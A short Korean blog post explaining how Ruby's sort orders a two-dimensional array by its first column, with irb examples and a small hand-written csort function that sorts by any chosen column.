대체로 sort 메소드를 이용하여 정렬을 합니다. 2차원 배열에 대해 sort 메소드를 사용하면 array는 맨 앞 열을 기준으로 정렬합니다. 간단한 예시를 볼게요.

irb(main):001:0> a=[]
=> []
irb(main):002:0> a.push(["b",45])
=> [["b", 45]]
irb(main):003:0> a.push(["a",345])
=> [["b", 45], ["a", 345]]

irb(main):005:0> a.push(["e",35])
=> [["b", 45], ["a", 345], ["e", 35]]
irb(main):006:0> a.push(["z",335])
=> [["b", 45], ["a", 345], ["e", 35], ["z", 335]]
irb(main):007:0> a.push(["p",39935])
=> [["b", 45], ["a", 345], ["e", 35], ["z", 335], ["p", 39935]]
irb(main):008:0> a
=> [["b", 45], ["a", 345], ["e", 35], ["z", 335], ["p", 39935]]
irb(main):009:0> a
=> [["b", 45], ["a", 345], ["e", 35], ["z", 335], ["p", 39935]]
irb(main):010:0> b = a.sort
=> [["a", 345], ["b", 45], ["e", 35], ["p", 39935], ["z", 335]]
irb(main):011:0> b
=> [["a", 345], ["b", 45], ["e", 35], ["p", 39935], ["z", 335]]

대충 a라는 array에 값을 막 넣어줍니다. a array 안에는 문자열과 숫자값을 가진 array가 들어갑니다. 여기서 b라는 변수에 a.sort (정렬) 함수의 리턴을 넣어줍니다.

그러면.. 아래와 같이

irb(main):014:0* a
=> [["b", 45], ["a", 345], ["e", 35], ["z", 335], ["p", 39935]]
irb(main):015:0> b
=> [["a", 345], ["b", 45], ["e", 35], ["p", 39935], ["z", 335]]
irb(main):016:0>

정렬이 됩니다. 다만 그게 a안의 array의 첫번째 열 기준으로 정렬되지요.
필자는 두번째 열로 정렬해야 했습니다. 그래서 간단하게 csort라는 함수를 하나 만들었죠.

def csort(array,index)   # csort(target array , sort a column)
temp = array
i=0
while(i<temp.size)
 tempa = temp[i][0]
 temp[i][0] = temp[i][index]
 temp[i][index] = tempa
 i+=1
end
temp = temp.sort
i=0
while(i<temp.size)
 tempa = temp[i][0]
 temp[i][0] = temp[i][index]
 temp[i][index] = tempa
 i+=1
end

return temp
end
원리는 간단합니다. 지정한 index랑 index0(첫번째 열)과 바꿔치기 후 정렬, 그다음 값에 대해 다시 원복하는식으로 돌아갑니다.

테스트를 해보면..

irb(main):033:0* a
=> [["b", 45], ["a", 345], ["e", 35], ["z", 335], ["p", 39935]]
irb(main):034:0> b
=> [["a", 345], ["b", 45], ["e", 35], ["p", 39935], ["z", 335]]
irb(main):035:0> c = csort(a,1)
=> [["e", 35], ["b", 45], ["z", 335], ["a", 345], ["p", 39935]]
irb(main):036:0>

2번째 열(index1) 기준으로 잘 정렬되었네요.
아주 작은 시간만 투자하면 좀 더 편하게 코딩할 수 있습니다.
Share: | Coffee Me: